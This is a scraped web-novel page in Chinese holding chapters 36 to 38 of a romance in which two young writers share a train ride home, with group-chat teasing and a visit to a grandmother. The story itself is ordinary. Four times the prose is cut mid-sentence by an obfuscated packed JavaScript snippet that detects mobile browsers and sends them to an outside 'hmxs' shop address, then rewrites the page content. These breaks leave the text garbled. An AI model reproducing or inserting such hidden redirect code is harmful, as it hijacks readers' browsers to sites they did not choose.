程和欢抬手看了一眼手表，眼神极快地扫过廖寻桃的侧脸，说：“我怎么没听到。” “你肯定听错了，”邹煜安拎着26寸的行李箱，有些吃力地拖到他们面前，“提前十五分钟检票，离检票还有五分钟呢！” 廖寻桃稀奇道：“你这么大箱子装什么了，看起来这么重。” 反观颜语凉，只拖了个很小的橙黄色行李箱，和他今天浅绿配金的外套非常搭，膝盖处破洞设计的牛仔裤更添几分休闲帅气。 邹煜安没好气道：“你不是也上过大学吗，我行李箱里有什么你不也有经验吗！” 廖寻桃一甩头发：“我都毕业两年多了，哪还记得那些前尘旧事。” 邹煜安腾出手给她比了个6。 几人之前买票的时候就对过座位号，他们在同一个车厢但是位置没有连一起。 检完票上了车，廖寻桃第一个坐到颜语凉旁边，笑着说：“言爷！我和你坐，待会和这个座位的人换一下位置就好了。” 颜语凉把自己的小行李箱放到上边摆好，奇怪道：“你之前不都跟程和欢坐吗？不嫌我无聊了？” 廖寻桃大小姐，跟他们一起坐高铁回老家的次数很多，之前和颜语凉、邹煜安同坐过一次，一个要么睡觉要么就翻开笔记本码字或者学习，对于廖寻桃的搭话总是半半拉拉的，而另外一个恰恰相反能一直呱呱呱讲，几个小时的车程喝两口水能讲一路。 廖寻桃批斗他们，坐了一圈觉得还不如和程和欢坐呢，既不会不理自己，还能斗两句嘴皮子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758111|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而此刻，廖寻桃听到颜语凉说的话，余光扫过正从过道走过的程和欢，脸上的表情明显不自然地僵了一下。 不过也就绷了一秒，立马恢复如常，笑道：“好久没和你叙旧了呀！” 颜语凉心说只是几天没见，又不是几年没见，哪有那么多旧要叙？ 但是他还是默认让她坐自己旁边了。 他理完东西，从随身包里拿了个U型枕出来打算过会在车上好好睡一觉。 这时，一个高大的身影遮过来，站在了这一排椅子的侧边，应该就是廖寻桃所坐座位的原主人了，廖寻桃正在翻她的包找着什么，看见有人过来抬头正要解释让对方去坐后面一排她原本的位置。 她微微抬头，看清了来人，所有组织完的语言就全卡在嗓子眼里出不来了。 祝君忱？！ 颜语凉还没反应过来，从包里拎了瓶水出来放到前边的小桌上，余光看见廖寻桃愣住，他有些奇怪地遂着她的目光看去：“怎么……了？” 颜语凉也看见了祝君忱，眼睛微微瞪大。 廖寻桃先反应过来，脸上绽出一个灿烂无比的笑：“小艳！啊不，祝君忱？！你坐这？” 她开始变得有些忙，站起来翻了好一阵的手机，像终于反应过来一般，说：“哎呀，我坐错位置了，我的位置在后面那排！” 说着，她便装疯卖傻地坐在了后排原本的位置上。 颜语凉这才从惊讶中脱离出来，张嘴问道：“你也坐这趟车啊！” 他昨夜写剧本也写得蛮晚的，跟祝君忱说自己要睡觉的时候顺便提了嘴今天要坐高铁回家的事，当时对方也没睡，回道挺巧的今天他也要坐车回家。 当时颜语凉想，前阵子刚认识的时候祝君忱曾说过他的表妹和妈妈都在北京，估计这个“坐车”也不过是几公里的路程，根本用不上坐高铁。 “嗯。”祝君忱轻声应着，把随身的包放到头顶的行李架上。 颜语凉看着他把包塞到自己的小橙行李箱旁边，问道：“你回哪？” 高铁的分票机制还算合理，经常会把行程相同的人排在同一车厢。 但是颜语凉不敢相信会有这么巧的事。 祝君忱从行李架上收回手，垂头看向他，说：“坐到最后一站。” “你也坐到知杏啊！！” “嗯，”祝君忱嘴角牵起一个笑，“你也是？” “对啊！”颜语凉目光微动，“你是知杳中学的还是知杏市一中的？” 这是知杏有两个最有名的高中，每年都有许许多多高分，几乎是全省承认的名校，两校之间明面上是好朋友，内部却一直在暗暗较劲内卷。 祝君忱抵着唇弯着眼睛笑了一声，告诉他：“知杳的。” “这么巧？！”颜语凉支起身，眼里迸发光芒。 颜语凉发现，自从遇到祝君忱之后，他说过最多的话就是“真巧。” 真巧啊，我们都喜欢诱惑7号。 真巧啊，我们手机居然同型号连手机壳都一样。 真巧啊，我们住同一栋楼。 真巧啊，我们在同一个学校。 真巧啊，我们都是破写文的。 真巧啊，我俩高铁坐一块。 真巧啊，你高中也是知杳中学。 36. 差一点 祝君忱脸上也露出恰到好处的惊讶，目光在颜语凉手上拿着的枕头上一扫而过，问道：“你想不想坐靠窗？睡觉舒服点。” 颜语凉头一点，非常不客气地往里面挪，坐在了窗边，回头笑道：“你不喜欢靠窗吗？” 他总是喜欢靠窗的位置，不过国庆节的票太难抢了，没有指定位置。 祝君忱坐在了靠走廊的位置，把颜语凉的水放到他面前，闻言轻笑一声，说：“靠窗腿伸不开。” 确实比对方矮一点的颜语凉：“……” 他抬起手机，翻到自己的微信名片，竖给对方看自己的微信名。 祝君忱的目光落在那行“我无言以对”上，眼里沁出笑意。 颜语凉还在“居然和祝君忱坐一块”的高兴情绪中，他颇有些得意地晃着手机，心说终于把“见微信名”这件事在现实中做了出来，手心的手机哐哐震动两下。 祝君忱的目光便不自主地上移，看到了颜语凉收到的新消息。 【桃女王】：缘分来了挡也挡不住。 【我是走远】：什么？ 【桃女王】：你回头看你四点钟方向，小艳和小颜。 颜语凉收回手机的时候祝君忱已经挪开了眼。 他看清消息的瞬间才反应过来，祝君忱刚刚看的方向正好顺着四点钟方向的反向延长线。 颜语凉看着廖寻桃说的那句“缘分”，不由自主摸了下有些发热的脖颈。 余光里，祝君忱抬着左手小幅度地跟人打了个招呼。 果然看到了。 颜语凉的手从脖子往上胡乱薅了一把自己的卷毛，弄乱，重新理。 手里的手机却一直在震。 【我是走远】：缘分来了挡也挡不住。 【我是走远】：不过小艳怎么正好在看我啊？ 颜语凉有些愤恨地敲键盘，回复着。 【我无言以对】：[微笑.jpg] 【我无言以对】：因为我正好在给他看手机。 【桃女王】：？ 【我是走远】：让我也看看呢？ 【我无言以对】：不是，别瞎想 【我无言以对】：我在给他看我的网名。 【桃女王】：你居然舍得对小艳无言以对？ 【我是走远】：你居然舍得对小艳无言以对？ 【程和欢】：你居然舍得对小艳无言以对？ 【我无言以对】：。见网名。 【桃女王】：手机伸到椅背后面来让我现场看好吗？ 廖寻桃说完这句又开始曝光祝君忱让颜语凉坐靠窗的事，群里又开始你一句我一句地调侃起来，程和欢不擅长参与起哄这件事，但是非常善于捧另外两人的哏。 颜语凉一边理头发一边觉得这群人是不是好果子吃多了。 有道是屋漏偏逢连夜雨，祝君忱偏头向他靠过来一些，不解地问：“为什么我是小艳？” “……” “不是吗？刚刚你朋友脱口而出喊了这个名字，刚刚不小心看到你消息了，他们也在说。”祝君忱的眼神略带疑惑。 颜语凉和他对视着，噎了一下，说：“因为你好看。” “哦。”祝君忱应了一声。 颜语凉怕他不信，找补道：“虽然小艳没那么好听，但总比小帅好听吧。” 祝君忱似乎真的把这两个词放在脑海里对比了一下，认可地点点头说：“和小颜也挺搭的。” 颜语凉一时间没反应过来他说什么和什么很搭，反应过来的时候祝君忱已经偏开了目光，看起了平板上的电子书。 徒留他在座位上怔愣好一会儿，抹了下有些发热的脸庞。 北京到知杳要坐六个小时高铁，中午上车到家天都黑个彻底。 颜语凉又和祝君忱聊了两句话，便把头歪在窗口抱着胳膊阖上眼。 秋天已经落满了人间。 风卷起路面落叶便纷飞起落。 颜语凉一只耳朵里塞着耳机放着音乐，另一只耳朵留着听车上零碎的动静，有时候在人员拥挤的高铁上灵感也会突然迸发。 所以他睡得不是很熟。 列车驶过轨道发出的嗡鸣混着前边几个小孩的聊天声，听着听着意识便迷糊起来。 眼皮子透过的光猝然一暗，舒服了很多，应当是进了一片隧道。 颜语凉有些后悔出门的时候没想起来拿眼罩。 他记得这条隧道一过就快到下一站了，到时候一批乘客上车会很吵。 思及此，思绪便有些烦乱，鼻尖突然闻到了一丝醇厚的玫瑰味，几乎是瞬间抚平了他心口的那团火苗。 他把眼睛轻轻眯开一条缝，看到旁边的人抬手缓慢地帮他拉下了车窗帘子。 列车进站的时候车厢有些抖，颜语凉只来得及看到外边潇凉的风吹起站台的最后一片落叶，和祝君忱从自己面前滑过的外套袖口。 留下一阵清咧的冷玫瑰香。 几秒后便散了个七七八八。 “是‘冰蓝玫瑰心事’吗？”颜语凉的动作没变，还是倚着窗闭着眼，启唇问旁边的人。 祝君忱以为他刚刚睡着了：“被吵醒了？” 颜语凉摇摇头：“本来也没睡熟。” “我的蓝玫瑰香水用后感什么时候给我？”没等对方说话，颜语凉突然想起了这件事。 “不是说写一篇小说吗？”祝君忱闻言似乎笑了一声。 “你都不告诉我笔名我上哪看去。”颜语凉被睡意包裹着，说话声音有些沉，说出的这句话便沾上了些嗔怪的意味，“我得先讨利息。” “马上给你写。” 颜语凉嘟囔道：“写一万字。” “好。”祝君忱噙着笑说。 下一秒，颜语凉听到放在前面小桌板上的手机震动了一下，他有一种感觉，是祝君忱发的，因为他刚刚说完话眯开了眼，看到旁边的人正在潇洒地单手敲手机，看起来像在发消息。 他抬起手机一看。 【忱.】：一万字。 颜语凉没忍住笑了一声：“你写小说也爱玩文字游戏吗？我跟你说今辰好每次写这种冷笑话都冷死我了。” 祝君忱没有立马说他喜不喜欢，只是默了一会儿，再开口的时候话里的笑意半点没减。 他的声音很轻，说：“是么。” “嗯，”颜语凉应完又歪在U型枕上酝酿睡意，“你打算什么时候告诉我笔名，好想知道。” 他突然想起来《海纳百石》里的一段对话，便问：“不会一辈子都不告诉我吧。” 祝君忱眼皮子垂了些，似乎很认真地思考着这个问题，最后说：“等我准备好了。” 颜语凉不明白为什么祝君忱为什么看起来有那么多顾虑，张口声音低到听不见喃喃道：“花都谢了。” 前夜晚睡今早早起的后遗症让这一觉睡得格外安稳，睁开眼的时候他还保持着入睡前的姿势没变，以为自己睡觉很老实。 揉了下眼睛，偏头看了眼祝君忱，恰巧对方抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758112|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，目光便撞在一起。 颜语凉率先挪开目光，问：“我睡了多久？” “一个小时。”祝君忱划着手机看了眼时间。 “哦。”颜语凉感觉脖子睡得有点酸，把脖子上的枕头摘下来。 桌面上的手机因跳出的消息亮着屏，锁屏显示是地球研究小组的消息。 都在一节车厢里，程和欢和邹煜安还坐一块，有什么是当面不能讲的？ 他略带疑惑地解锁了手机。 [地球研究小组（4）] 【我是走远】：[图片] 【我是走远】：小颜同志不够争气啊，头再偏一点就能靠着小艳睡了。 邹煜安发的图片是偷拍的颜语凉。 原来，颜语凉同学睡觉并没有想象中那么老实，有一段时间抱着胳膊闷头歪向了祝君忱。 不过只是低着头垂在离对方胳膊很近的地方，下巴在枕头上搁出一个浅浅的小坑。 邹煜安坐在他们前边，错位拍就好像颜语凉真的靠着祝君忱安稳地睡着一样。 【桃女王】：[图片] 【桃女王】：求在不惊醒小颜的前提下让他靠在小艳身上但是不被小艳发现的方法。 廖寻桃发的图片是当时的另一个视角，看样子是从后排举着手机俯拍的。 照片里明显能看出来他和祝君忱上臂的距离不过三四厘米。 而祝君忱在相片定格的那一瞬间目光似乎落在他头顶的那个小旋上。 【我是走远】：霸总有什么提议吗？ 【我是走远】：忘了霸总在我身边，霸总说建议小艳懂事点。 【程和欢】：。我没说。 以上都是半小时前的消息，后边他们还聊了一会儿天，颜语凉看他们的聊天内容能推测出自己是什么时候晃回最后的睡姿的。 最后的聊天记录就在刚刚，邹煜安和廖寻桃发现颜语凉醒了，在问他后不后悔没有睡到祝君忱的肩膀。 【我无言以对】：？ 【我无言以对】：要真睡他身上了，我可得好好道歉了。 【桃女王】：不懂，你跟我坐的时候头可从来没有往我着偏过。 颜语凉想跟她掰扯一下男生和女生之间要有分寸感，却被邹煜安截胡了。 【我是走远】：小颜同志肯定要说桃子是女生。 【我是走远】：但是颜语凉和我坐的时候也没有往我这偏过，睡得死死的动都不动。 颜语凉把输在对话框的字全删了，正要再找点什么掰扯，邹煜安的消息却先弹出来了。 【我是走远】：再说两句小颜又要见昵称了 【我是走远】：但是我非得再说一句，我前阵子刷到视频说人在高铁上睡觉的时候会不由自主地偏向信任的人、喜欢的人 【桃女王】：kswl 这句话看似天衣无缝，但是颜语凉找到论据了。 【我无言以对】：胡言乱语啥呢，我爱怎么睡怎么睡，跟谁坐我旁边有什么关系？ 【我无言以对】：上次五一桃子不就靠着欢睡了？ 颜语凉以为发完这句话其余人定会找别的东西反驳他，尤其是他所说的那两个人本人。 但反常的是，好一阵子都没人说话。 颜语凉头上缓缓冒出一个问号，正打算退出聊天界面，就看到廖寻桃撤回了那条“kswl”。 回复邹煜安那条关于偏向的话。 【桃女王 回复 @我是走远】：一派胡言。 37. 纯友谊 颜语凉有些意外自己一句话就把廖寻桃拉到了自己的阵营。 五一那次他们一起回家，廖寻桃和程和欢坐一块，程和欢比她走得快，先一步坐了靠窗的位置，廖寻桃只能坐靠走道的位置，中途睡得很久醒来的时候发现自己靠着程和欢，也没多不好意思，全都推在程和欢不让她坐靠窗这件事上，愤恨地怪自己为什么没有流对方一身口水。 程和欢揉着被睡得僵硬酸疼的肩膀还要被廖寻桃指着鼻子骂，脸上的表情很精彩，把吃瓜看戏的颜语凉邹煜安逗得捧腹大笑。 所以今天廖寻桃其实只要借着由头再骂一句程和欢就行了，完全不用改变阵营，而他也可以借此论据反驳邹煜安。 颜语凉的目光扫过廖寻桃最后一句话，陷入了深思。 今天刚上高铁也是，廖寻桃没有跟程和欢坐，而是跑到了他这边。 而且在候车的时候，他们好像也没怎么说过话。 廖寻桃和程和欢两人是一个宅院里长大的小孩，从穿开裆裤就认识，打打闹闹二十几年，面上谁也看谁不顺眼，实际上彼此有什么难事都是第一个帮，有什么麻烦都是第一个应。 两人之间的对话从来没像今天一般少过。 颜语凉感觉怪怪的，他抬手把窗帘拉上去，看到了外边渐晚的天色。 祝君忱看到他的动作，也抬眼看向外面的天空，说：“很有秋天的感觉。” 列车飞速向前，很远的田埂上一树又一树金黄，很是漂亮。 颜语凉点点头，又偏头去问祝君忱：“你觉得两个很熟络的人见面突然不说话了，是为什么？” “很久没见生疏了？” 颜语凉否认道：“不是，还经常见。” 祝君忱很轻地摇了下头表示他也不甚了解，开口说：“如果是写小说的话，或许是他们之间突然有了什么矛盾，或者是某个契机让他们的友情有了变化。” 颜语凉觉得程和欢和廖寻桃之间平时口角不断但是大的矛盾应该是没有的。 他想不通，点开邹煜安的头像私聊问。 【我无言以对】：他俩好奇怪，吵架了吗？ 【我是走远】：你这么迟钝都发现了？ 【我是走远】：那他们很明显了。 颜语凉看不懂对方在打什么哑谜。 【我无言以对】：明显什么？ 【我是走远】：具体我不知道发生了什么。 【我是走远】：我只知道 邹煜安似乎斟酌了下语言，“对方正在输入”的字样跳了两下。 【我是走远】：欢宝喜欢桃子很久了。 欢宝是程和欢的小名，廖寻桃兴致好了或者有求于他的时候就会这么喊，久而久之这个称呼也被颜语凉他们学了去，但是喊得不多，因为好好一个大男人被唤这么可爱的小名似乎有些不妥。 颜语凉盯着邹煜安说的话眼睛缓缓瞪大了，打字道：“程和欢告诉你的？” 【我是走远】：不是，我自己看出来的，他俩还不明显吗 【我是走远】：欢喜欢桃，就跟你喜欢祝君忱一样明显。 ？ ？？？ 颜语凉的手心被手机震得有点麻，连带着心口都烫起来，兴许是刚睡醒的缘故，喉咙干涩，他有些不自然地吞咽两口，不由自主地瞟了眼坐在身侧的祝君忱。 【我无言以对】：不是，我跟祝君忱真的纯友谊啊 怎么就从廖寻桃和程和欢扯到他身上了？ 【我是走远】：你现在觉得你只是朋友之间的喜欢？ 【我是走远】：你们才认识一个月就这么熟了，班上同学和你认识那么久都没怎么说过话吧，我们几个也是，要不是竞赛组队桃子软磨硬泡把你带上，估计现在我们这几个还只是萍水相逢的关系。 【我是走远】：我说白了，我没见过你这么黏着一个人。 “怎么了？” 颜语凉感觉自己的心思被戳穿了，看完邹煜安的话半是崩溃半是羞恼地撩了下头发，祝君忱几乎是立马看过来，问道。 “啊？”颜语凉还浸在邹煜安说的那句“没见过你这么黏着一个人”，抬眼和祝君忱对视上有些仓惶地挪开了目光。 “很热吗？”祝君忱指着自己的耳垂，示意颜语凉，问道，“你耳根这一片都红了。” “噢，”颜语凉顺着他的动作抹了下自己的耳根子，缓缓呼出口气，找了个蹩脚的借口，“可能突发紫外线过敏了。” 秋意漫天，哪引得起什么紫外线过敏，引起的不过是心跳频率过高的敏罢了。 祝君忱当然不信，但也没深究，只是笑着问：“是么？” 颜语凉也冲他笑，满脸纯良道：“是的。” 他垂头给邹煜安发了个捶胸顿足的表情包，撇开他后面两句说自己的话，又敲字问：“那他俩什么情况。” 【我是走远】：我不知道啊，反正我看着不像没情况 【我是走远】：也看不出来情况妙不妙 【我是走远】：要不你去问问当事人？ 颜语凉竟然觉得他这个提议不错，但是又担心邹煜安眼神不好判断错误，犹豫要不要问。 就在他纠结的那两秒，邹煜安又发来了消息，把话题扯了回来。 【我是走远】：你别转移话题呀，现在在聊你的人生大事呢 【我是走远】：快跟邹大师说说，你们的见面频率是怎样的，有没有好好培养感情呀？ 【我是走远】：[摸胡子.jpg] 见面频率？ 颜语凉嘴角牵起一个笑，毫不掩饰又带着些逗弄意味说：“也就这三四个礼拜都天天见吧。” 【我是走远】：？？？ 【我是走远】：我就多余问。 【我是走远】：反正问都问了，我多余再问一句，你们天天见面干嘛？跟小情侣似的。 颜语凉被某个字眼烫了一下，心说你们直男用词也太没轻没重了。 【我无言以对】：我和他一起参加青书比赛呀，后来他说最近在学做早餐，我就天天去他家吃早饭 【我无言以对】：哦，对了，忘了跟你们说，我俩住一栋楼。 对面的消息停了一下，下一秒颜语凉被邹煜安扣的问号刷屏了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758113|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【我无言以对】：这么惊讶干嘛？ 邹煜安停止了刷屏的手，颜语凉朝他的方向望了一眼，收回目光的时候顺便看了眼祝君忱。 这人还在摆弄手机，他看到对方在手机上满满当当得写着什么。 颜语凉有点好奇他在写什么，但是这毕竟是别人的手机不能不礼貌地乱看。 谁知祝君忱似有所感，抬头望他一眼，把这段文字直接截图发给了他。 是一篇小说的开头，标题是《冰蓝玫瑰心事》，和那瓶香水一个名。 颜语凉盯着这张白底黑字，感觉心口被潮水包裹住了，遂着浪潮上上下下波动。 他眨着眼睛才看了两行，就被邹煜安的消息挡了视野。 【我是走远】：你记得吗，你和那个谁忘记叫啥了太久远了，你们因为写作时长原因分手的时候，你在群里喊冤，最后说以后要找个同行做对象，这样就能相互理解减少不必要的争端了。 颜语凉当然记得，因为当时邹煜安立马调侃着说了一句“干脆你跟今辰好搞对象好了，闲着没事还能怼两句过过瘾”。 当时颜语凉正在与前任分手的失落中，闻言立刻炸了，立马跑学校到他宿舍一顿掐架。 邹煜安刚发完那句话廖寻桃跳出来在群里讨伐他，让他不要说这么难听的话，颜语凉倒不知所踪，他不禁感到奇怪，但没奇怪几分钟宿舍门就被敲响了，闯进一个不速之客，掐着他的脖子要同归于尽。 今天再提起这件事，邹煜安倒是不敢再说那句话了，可能怕颜语凉一生气直接把他丢下高铁。 颜语凉轻眨眼睫，祝君忱又给他发了张图片，估计是刚刚发的那张没有截全。 他有些急切地想去看那个故事，破罐子破摔对邹煜安发消息道：“对对对，我爱惨了祝君忱，我现在要去看他给我发的小说了，拜拜～” 颜语凉津津有味地看起祝君忱发来的小故事没有再管邹煜安，连带着把廖寻桃和程和欢的事全抛在脑后。 这个故事开头由一个遍地零碎玫瑰花瓣的废墟场景引进，他看着这个场景想象出的画面竟觉得非常眼熟，盯着愣神好一会儿，终于想起来了。 这个场景很像今辰好写的《疤病》里面的最后一幕。 只不过《疤病》里点缀废墟的是满地焦芜。 颜语凉记得那一幕后一句跟着的就是那句此书名句“脚踩过血淋淋的图钉，走出灰土之地，外面已而天昏，他走不出这座城。”——也是他和今辰好成为网络死敌作者的开端。 那段时间他课业很忙，在补因为跟组《账本》落下的学习进度，泡了一天图书馆的他昏头涨脑觉得人生不过尔尔。 编辑慕唯联系他参加作家名句大赏的时候，他随手便参与了，没想到一句开玩笑躺平的话直接成了两人关系的导火索。 他从那段回忆中挣脱，注意力重新放在祝君忱写的文字上，心里吐槽自己一定是最近泡在《海纳百石》的时间太长了，才会有两者相像的错觉。 [这明明是一个不会有任何人发现的静谧花园。] [此刻展现在姑娘面前的却是令她难以相信的荒芜。] 38. 小反常 清晨。 鸟儿的歌声拉开卧室的窗帘，有人佝偻着轻手轻脚走近，给颜语凉掖上被子。 “奶奶。”眼皮子闪过一阵阴影，颜语凉迷糊着唤了一声。 昨天坐了一天高铁，本来说问一下廖寻桃跟程和欢是怎么回事，后来和祝君忱聊起天来就忘了，还有那篇《冰蓝玫瑰心事》祝君忱才写一点点，都不够颜语凉塞牙缝的，他不知道祝君忱的笔名是什么，所以只能在列车上线下催稿了。 他一路少说催了五六次，问祝君忱什么时候能写下一章，打算写多少，写出来什么时候发，顺带又催了一次快把笔名告诉他。 对方也不嫌烦，颜语凉问一个他便答一个。 颜语凉被祝君忱画的大饼哄得很开心。 以致于晚上回到家都处于一种兴致很高的状态，拉着好久没见的奶奶聊天聊到八九点，一沾床劳累了一天的困意姗姗来迟，马上就着了。 这会儿他还在梦里，下意识觉得自己应该起床下楼去祝君忱那看看对方做了什么新品种的早饭，于是他含糊地唤了声祝君忱的名字。 奶奶没听懂，靠近了一些，轻声问道：“什么？” 颜语凉睁开眼，脑海里的那层雾散去一些，才意识到他是在老家，而不是在北京。 他看着奶奶慈爱地望着自己的模样，牵起一个笑 ，摇摇头，缓缓伸了个懒腰。 奶奶便健谈起来：“这么早就醒了？隔壁林家小孩也不知道今年国庆节会不会回来，胡叔送了很多水果过来，到时候你可以带点去学校的路上吃，小颜，你早饭想吃什么呀？” 颜语凉眼睛一眨，脑海里闪过各式各样的、祝君忱给他做过的早餐名，心情便愉悦起来，睡意全部散去了，跟奶奶说：“吃馄饨吧。” 转身拿了正在床头柜上充电的手机，点开祝君忱的聊天框发了句：“国庆节快乐！” 邹煜安有一句话其实说的很对。 他就是喜欢黏着祝君忱，不然也不会天天想着、念着他每天做的早饭了。 还天天想给他发消息。 手机一震。 【忱.】：国庆节快乐。 【忱.】：醒这么早？有行程？ 颜语凉坐起身，瞟了眼时间，外边马上七点半，他闷头敲字告诉对方。 【我无言以对】：有。 【我无言以对】：但是是在下午，和朋友们一起回知杳看老师。 颜语凉顿了一下，邀请道：“你要不要一起，小学弟？” 对方的名字陷入几秒的“正在输入中”。 【忱.】：好。 【忱.】：你到时候打算怎么去？ 【我无言以对】：我在乡下，骑小电瓶车到镇上坐公交车去。 祝君忱难得发了条语音过来，他那边有些吵，估计是腾不开手打字了，话里话间含着笑意说：“你那没下雨吗？知杏今天大暴雨。” 颜语凉看到语音消息心口一跳，捻了下手指点了语音。 听完抬眼看向窗外，天塌了。 先前听到鸟鸣还以为是个极好的天气，原来鸟儿是来檐下躲雨的。 他心说大不了让邹煜安用他的二脚猫车技开车来接他。 正当他要看看地球研究小组里有没有新消息时，祝君忱又发了条语音过来，语调轻快就像在说一件无比方便、无比稀松平常的事：“给我发个定位，我来接你。” 颜语凉感觉自己的心门被对方不轻不重地叩了一下，门内的珠子就开始一下一下弹跳起来撞起了门。 他抿了下唇直接发了个定位过去，说了个时间，“啪”一下倒在床褥上，心口散着的珠子“叮叮当当”被晃得一团乱麻。 ＊ 另一边祝君忱正站在家里厨房的某个停机的机器前，头很痛。 他稍作清理后，转身，看见刚刚还在里屋打电话的妈妈已经靠着厨房门看了他好一会儿。 祝君忱有些疑惑道：“怎么了？” 陆缘比他更疑惑：“你把压面机弄坏了笑那么开心干嘛？” “……”祝君忱这才把嘴角压下去。 陆缘洗了个手上前帮忙把压面机里不成型的面拎进模具里，苦恼道：“早知道不给婷姨放假了，现在坏了谁也不会弄。” 祝君忱凑近压面机，推测道：“应该是里面锈了，卡住了。” 水池边，祝君忱的手机响起了消息提示音，陆缘的目光落在亮屏的手机上，问道：“你刚刚跟谁说话呢？” “朋友。”祝君忱拍了下压面机，试图让他重新运转，但是无果。 “男孩女孩啊。”陆缘挑了下眉。 祝君忱看她一眼，说：“男生。” 陆缘脸上明晃晃露出可惜，一摊手转身去找坐在沙发上看报纸的祝枫华，道：“我还以为祝小小铁树开花了呢！” 祝君忱额头挂上几道黑线，遂着她走出厨房。 祝小小是他的乳名，除了家人外没有其他人知道，现在他长这么高，知道这个名的人也不叫他小小了，也就他妈妈天天在家里寻乐子的时候喊喊。 “男生怎么了。”祝君忱听他妈这么说，抿了下唇反驳道。 “？”陆缘撑着沙发正在祝枫华发间找白头发的手顿住了，抬眸莞尔一笑，“也行。” 她转了个身坐到祝枫华旁边，拿起了茶几上那本《她的沉默雨季》随手翻了两页，既要又要地补充道：“你把言不言带回来都行。” 陆缘以为祝君忱听到这话会顺嘴吐槽两句言不言，没承想儿子只是一眼扫过自己手上的书，说：“把言不言带过来，然后按在沙发上给你写《沉默雨季》的番外吗？” 陆缘潇洒地翘起二郎腿：“每篇写一百万字番外。” “那每篇得收费一百万。” 陆缘奇怪：“你什么时候开始帮言不言说话了？” 祝君忱眸光动了一下，声音像外边正在飘着的薄雨：“因为太阳打西边出来了。” 很多时候，陆缘不知道她儿子在想什么，现在也是。 “好冷。”陆缘支着腮，“和你写在小说里的一样冷。” 祝君忱想起来颜语凉也说过这话，又牵起笑来，目光扫过客厅，坐在了单人沙发上。 陆缘瞧见他嘴角的笑，感觉见鬼了。 祝枫华推了下眼镜，把手里的报纸翻了一页，替儿子说话道：“这叫个人风格。” * 祝君忱到得非常准时，到的时候颜语凉还在楼上收拾东西，奶奶在洗水果，瞧见庭前停了辆车还以为是隔壁林家的，抱着四五个苹果就走了出去，结果从车上下来了一个陌生面孔。 祝君忱没想到第一个和他打照面的会是颜语凉的奶奶，有些尴尬地支着伞：“你好，请问颜语凉住这吗？” 颜语凉匆匆从里屋撑着伞跑出来，喊着：“奶奶，雨那么大，你出门怎么不打伞？” 面前腰背微微有些佝偻的婆婆回头冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758114|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜语凉笑：“小颜，你同学啊，我以为隔壁几个娃回来了呢。” 颜语凉忙走向前扶了下奶奶，抬眸和祝君忱对上目光，弯起眉眼说：“祝君忱，这是我奶奶。” 祝君忱眸光轻动，对面前矮很多的老人说：“奶奶好。” 奶奶察言观色能力很强，一听颜语凉说话便知道了对方的名字和蔼地微笑道：“小祝啊。” 这个名字怎么有点耳熟，可能小颜之前提过？年纪大了健忘。 “拿着。” 奶奶垂眼看了眼怀里红彤彤的苹果，想着拿都拿出来了，哪有塞回去的道理，于是一股脑全塞给了祝君忱，对方反应不及，堪堪全部抱在怀里，差点掉一个。 捧着苹果的祝君忱表情由慌乱变成不知所措，最后把目光投向了颜语凉。 颜语凉被他逗得大笑起来，怪道：“看我干嘛？” “对啊，你看小颜干嘛？”奶奶嘴角的皱纹映着光，抚去苹果上残留的不知是水珠还是雨珠，高兴道，“都洗过了。” “奶奶，你好歹拿个袋子呢？”颜语凉嗔怪地看了一眼奶奶。 “没事，”祝君忱说，“我车里有纸袋子，谢谢奶奶。” 奶奶欣慰地抬手拍拍对方的肩膀，感叹道：“帅小伙长得比小颜还高呐。” 颜语凉佯装不悦地戳戳奶奶的肩膀，奶奶爽朗地笑了一声：“干嘛，实话啊。” 天气预报没有说谎，乡下知阳镇的雨是绵绵细细的，越往市区走雨珠子越大，雨打车窗劈里啪啦地响。 邹煜安是第一个到知杳中学保安室的，爸妈一边开车送他，一边夸他们可真会挑日子，冒大雨返校看老师，估计能把老师感动死，邹煜安无力反驳，因为日子是他挑的。 